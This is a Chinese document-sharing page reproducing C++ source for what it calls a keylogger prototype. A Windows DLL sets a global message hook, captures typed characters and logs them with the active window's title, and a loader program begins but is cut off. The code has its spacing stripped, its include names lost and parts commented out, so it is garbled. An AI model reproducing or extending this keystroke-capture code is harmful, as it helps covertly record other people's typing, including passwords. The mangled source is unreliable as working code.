資源描述:
《一個(gè)類似鍵盤記錄程序的雛形.docx》由會(huì)員上傳分享,免費(fèi)在線閱讀,更多相關(guān)內(nèi)容在教育資源-天天文庫。
1、//dllmain.cpp:定義DLL應(yīng)用程序的入口點(diǎn)。#include"stdafx.h"#include#includeusingnamespacestd;HHOOKg_Hook=nullptr;HINSTANCEg_Instance=nullptr;LRESULTCALLBACKMsgHookProc(intnCode,WPARAMwParam,LPARAMlParam){if(HC_ACTION==nCode){PMSGpMsg=(PMSG)lParam;if(WM_CHAR==pMsg->message
2、){charszKey=pMsg->wParam;//cout<=32&&szKey<=126){charszWindowName[MAXBYTE]={0};charszDebug[MAXBYTE]={0};GetWindowText(pMsg->hwnd,LPWSTR(szWindowName),MAXBYTE);sprintf_s(szDebug,"窗口名:%s接收到了一個(gè):%c
3、",szWindowName,szKey);OutputDebugString(LPCWSTR(szDebug));//輸出日志}*/}}returnCallNextHookEx(g_Hook,nCode,wParam,lParam);}extern"C"_declspec(dllexport)BOOLStartHook(){g_Hook=SetWindowsHookEx(WH_GETMESSAGE,MsgHookProc,g_Instance,NULL);if(nullptr==g_Hook){SetLastError(GetLastError());
4、returnFALSE;}returnTRUE;}BOOLUnHook(){if(g_Hook){returnUnhookWindowsHookEx(g_Hook);}returnFALSE;}//------------------------------------------------//dll其實(shí)也是有main函數(shù)的(main表示入口函數(shù))BOOLAPIENTRYDllMain(HMODULEhModule,DWORDul_reason_for_call,LPVOIDlpReserved){switch(ul_reason_for_call){
5、caseDLL_PROCESS_ATTACH://當(dāng)DLL被夾在乳進(jìn)程時(shí)觸發(fā)g_Instance=hModule;break;caseDLL_THREAD_ATTACH://當(dāng)DLL被線程運(yùn)行時(shí)觸發(fā)caseDLL_THREAD_DETACH://當(dāng)DLL被線程運(yùn)行完成時(shí)觸發(fā)caseDLL_PROCESS_DETACH://當(dāng)DLL從進(jìn)程中剝離時(shí)觸發(fā)UnHook();break;}returnTRUE;}以上代碼是下面的這個(gè)程序?qū)⒁玫降膭?dòng)態(tài)鏈庫的源代碼//SetWinddowHookExDemo.cpp:定義控制臺(tái)應(yīng)用程序的入口點(diǎn)。//#include"
6、stdafx.h"#include#includeusingnamespacestd;/*HHOOKg_Hook=nullptr;LRESULTCALLBACKMsgHookProc(intnCode,WPARAMwParam,LPARAMlParam){if(HC_ACTION==nCode){PMSGpMsg=(PMSG)lParam;if(WM_CHAR==pMsg->message){charszKey=pMsg->wParam;cout<7、Ex(g_Hook,nCode,wParam,lParam);}*///---------------------------------------------------------typedefBOOL(*Func)(void);int_tmain(intargc,_TCHAR*argv[]){/*g_Hook=SetWindowsHookEx(WH_GETMESSAGE,MsgHookProc,nullptr,NULL);if(nullptr==g_Hook){DWORDdwError=GetLastError();}*/DWORDdwError
8、=NOERROR;BOOLbRet=FALSE;HINSTANCEhDll;do